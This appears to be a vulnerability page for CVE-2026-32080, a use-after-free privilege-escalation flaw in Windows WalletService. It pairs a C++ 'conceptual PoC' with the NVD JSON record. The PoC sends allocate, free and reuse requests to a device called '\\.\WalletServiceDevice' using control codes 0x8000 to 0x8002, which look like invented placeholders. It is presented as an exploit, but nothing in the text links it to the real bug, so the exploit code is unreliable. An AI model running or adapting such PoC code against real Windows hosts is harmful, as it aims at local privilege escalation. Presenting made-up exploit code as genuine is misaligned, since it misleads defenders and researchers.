CVE-2026-32080

#include <windows.h> #include <iostream> // Conceptual PoC for CVE-2026-32080 (UAF in WalletService) // This demonstrates the logic of a Use-After-Free vulnerability. // Note: Actual exploitation requires specific memory layout and triggers. void TriggerVulnerability() { HANDLE hDevice = CreateFileA("\\\\.\\WalletServiceDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { std::cout << "Failed to open device." << std::endl; return; } // Step 1: Allocate an object inside the kernel/service DWORD bytesReturned; BYTE inputBuffer1[0x10] = {0}; DeviceIoControl(hDevice, 0x8000, inputBuffer1, sizeof(inputBuffer1), NULL, 0, &bytesReturned, NULL); // Step 2: Free the object (UAF trigger) BYTE inputBuffer2[0x10] = {0}; DeviceIoControl(hDevice, 0x8001, inputBuffer2, sizeof(inputBuffer2), NULL, 0, &bytesReturned, NULL); // Step 3: Use the freed pointer to execute arbitrary code or corrupt memory // In a real exploit, this memory would be reclaimed by a controlled object BYTE inputBuffer3[0x10] = {0x41}; // 'AAAA' DeviceIoControl(hDevice, 0x8002, inputBuffer3, sizeof(inputBuffer3), NULL, 0, &bytesReturned, NULL); std::cout << "PoC executed. Check system stability." << std::endl; CloseHandle(hDevice); } int main() { TriggerVulnerability(); return 0; }

{"cve": {"id": "CVE-2026-32080", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:10.630", "lastModified": "2026-04-21T20:53:01.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows WalletService allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.9060", "matchCriteriaId": "982DB0CA-5196-4E42-B2F7-994BE8179715"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8644", "matchCriteriaId": "647CF9B5-8898-469B-9C09-D372A7843187"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.5020", "matchCriteriaId": "DC6837B7-5DFD-4AF7-B436-3C6FEF48BA60"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2274", "matchCriteriaId": "55A1F3AB-5299-4495-9A73-FDA23C6FD88D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32690", "matchCriteriaId": "ADF41A14-B9DA-4788-82A8-74DCDCD090E1"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32080", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}